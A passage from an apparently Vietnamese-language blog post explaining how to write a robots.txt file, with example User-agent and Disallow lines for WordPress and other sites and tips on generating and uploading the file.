“User-agent”:* có nghĩa là tất cả những robot tìm kiếm từ Google, Yahoo và MSN nên sử dụng hướng dẫn này của bạn để tìm kiếm trang web.

“Disallow: /wp-“: dòng code này báo cho công cụ tìm kiếm biết nó không nên “lục lọi” ở những filé của WordPress bắt đầu bằng wp-.

Nếu bạn không sử dụng WordPress, bạn chỉ việc thay thế dòng Disallow với files và folders mà bạn không muốn nó “dòm ngó”, ví dụ:

User-agent: *
Disallow: /images/
Disallow: /cgi-bin/

Tự động tạo robots.txt
Nếu bạn có sử dụng Google Webmaster thì họ cũng cho phép bạn tạo robots.txt hoặc bạn có thể sử dụng Robots.txt Generator để tự động tạo file robots.txt cho mình

Sau khi bạn đã tạo xong file robots.txt (đừng quên chữ S), bạn chỉ việc upload lên thư mục gốc là hoàn thành

September 13, 2011 at 6:02 pm 1 comment

Older Posts



Follow

Get every new post delivered to your Inbox.